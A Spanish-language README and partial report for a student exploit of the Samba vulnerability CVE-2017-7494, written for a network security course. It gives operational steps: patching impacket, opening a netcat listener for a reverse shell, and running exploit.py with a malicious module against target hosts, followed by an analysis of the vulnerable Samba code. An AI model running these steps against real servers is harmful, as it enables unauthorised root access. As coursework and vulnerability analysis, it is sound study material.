Explotar CVE-2017-7494 para la asignatura final del curso de Net Security. Esto revelaría la vulnerabilidad de los servicios que se ejecutan con privilegios administrativos en Linux.
Exploit de CVE-2017-7494 para el trabajo final del curso de Seguridad de Redes. Esto revela la vulnerabilidad de los servicios que se ejecutan con prioridad administrativa en el sistema operativo.
Este bug funciona tanto en macOS como en Linux.
Antes de explotar, necesitas descargar las dependencias.
/bin/bash install_requirement.sh
Una de las dependencias más importantes es el paquete impacket para Python. Hace que funcione la conexión SMB.
Sin embargo, para construir una solicitud válida que haga que el servidor Samba cargue nuestro módulo malicioso, tenemos que modificar el impacket original.
La instalación install_requirement.sh instala una versión modificada (modificada por mí), por lo que no tienes que preocuparte por eso ni necesitas hacer ninguna modificación manual.
Sin embargo, si quieres usar una versión más nueva u otra versión de impacket, tendrás que modificar ese paquete por tu cuenta.
Ve a
impacket/impacket/smb3.py, modifica la línea 11154 y comenta las dos sentencias siguientes:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
Para explotar el objetivo, necesitas abrir dos terminales. Una usa netcat para interactuar con la reverse shell; la otra se usa para explotar el bug.
Uso:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
Si el objetivo es macOS, no debes compilar el módulo en Linux. ¡gcc no soporta el formato MACH-O! Si eres usuario de Mac, la compilación del payload en macOS funciona.
Una versión precompilada está en el directorio: mac_payload.so.
Usa la opción -m para que exploit.py sepa que vas a usar un payload personalizado.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
Un proceso detallado se publicará en chino como mi trabajo final. Si entiendes chino, será suficiente para ti. :)
— Informe de ataque CVE2017-7494
EternalBlue (Eternal Blue) causó pérdidas enormes en 2017 al aprovechar el mecanismo de SMB de Windows para llevar a cabo ataques de tipo gusano. SMB es un servicio que se ejecuta en Windows y permite compartir archivos entre distintos hosts y realizar llamadas a procedimientos remotos (Remote Procedure Call, RPC). Quizá precisamente por este tipo de funciones, se ha convertido a menudo en objetivo de ataques de los hackers.
El núcleo del propio sistema operativo debería tener pocas vulnerabilidades, incluso en el caso de Windows. Lo que suele fallar normalmente son los servicios que se ejecutan sobre el sistema operativo. Estos no cuentan con código del mismo nivel de especificación estricta y pruebas rigurosas que el del sistema operativo, pero se ejecutan con privilegios muy altos, lo que genera muchas oportunidades de explotación maliciosa. Entonces, ¿podemos comprometer todo el sistema operativo atacando los servicios privilegiados en lugar de atacar los componentes subyacentes del propio sistema? Un sistema operativo aislado es solo un núcleo que no puede hacer nada; solo ejecutando diversos servicios del sistema puede ofrecernos múltiples funciones. Muchos servicios del sistema operativo requieren ejecutarse con identidad de administrador (como daemon). Por lo tanto, con solo comprometer estos servicios privilegiados se pueden obtener naturalmente los privilegios de administrador del sistema y, con ello, comprometer todo el sistema operativo.
Finalmente, encontré una vulnerabilidad explotable en Samba, la implementación de código abierto de SMB: CVE2017-7494. Al igual que con Windows, un atacante puede obtener privilegios de administrador del sistema operativo mediante las llamadas a procedimientos remotos de Samba, y de ese modo tener la oportunidad de construir gusanos informáticos para atacar por la red.
El núcleo de Linux siempre se ha caracterizado por la seguridad que aporta el código abierto. Por su parte, macOS, al ser un sistema minoritario y con pocos virus dirigidos a él, también suele dar una falsa sensación de seguridad. Por lo tanto, este experimento eligió atacar macOS y varias distribuciones Linux diferentes para poner de manifiesto la fragilidad de los sistemas operativos: por muy "seguro" que parezca el diseño de un sistema operativo, siempre existe la posibilidad de que sea comprometido por la vulnerabilidad de una pequeña aplicación.
Debido a que Samba es un servicio de naturaleza equivalente a SMB, también hay quien lo llama el "EternalBlue de Linux", aunque creo que desde el punto de vista técnico ambos tienen diferencias esenciales:
Esta vulnerabilidad proviene principalmente de la llamada a smb_probe_module() en la función bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) de source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
//这里出问题了
status = smb_probe_module("rpc", pipename);
....
La función de nivel superior de is_known_pipename(), np_open(), es un módulo de control que llama a is_known_pipename() después de comprobar la solicitud de servicio RPC. Por su nombre, is_known_pipename() sirve para determinar si la tubería remota (pipe) ya está registrada; sin embargo, después de Samba 3.50 se introdujo una nueva funcionalidad: cargar módulos dinámicos mediante la llamada a smb_probe_module(). Esta vulnerabilidad aprovecha precisamente esa capacidad de carga de módulos para conseguir que se invoque un módulo malicioso construido por el atacante.
La carga del módulo rpc pipe tiene la siguiente cadena de llamadas:
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
Entre las versiones Samba 3.5.0 y Samba 4.6.3, la función do_smb_load_module() es reutilizada por smb_probe_module() —que carga los módulos RPC— y por otro smb_probe_module() que carga los módulos propios. smb_load_module() se usa para cargar algunos módulos conocidos; se supone que es una llamada interna para la extensión de funcionalidades del propio Samba, como los módulos VFS; mientras que smb_probe_module() significaría cargar algunos módulos posibles, que pueden provenir de solicitudes RPC.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
Para poder ser reutilizada por estas dos funciones de orígenes tan distintos (aunque en mi opinión estos dos módulos no deberían reutilizar el mismo mecanismo, de ninguna manera), do_smb_load_module() implementa a la vez dos modos: "cargar módulos dentro del subsistema SMB mediante el análisis de la solicitud" y "cargar módulos mediante una ruta absoluta".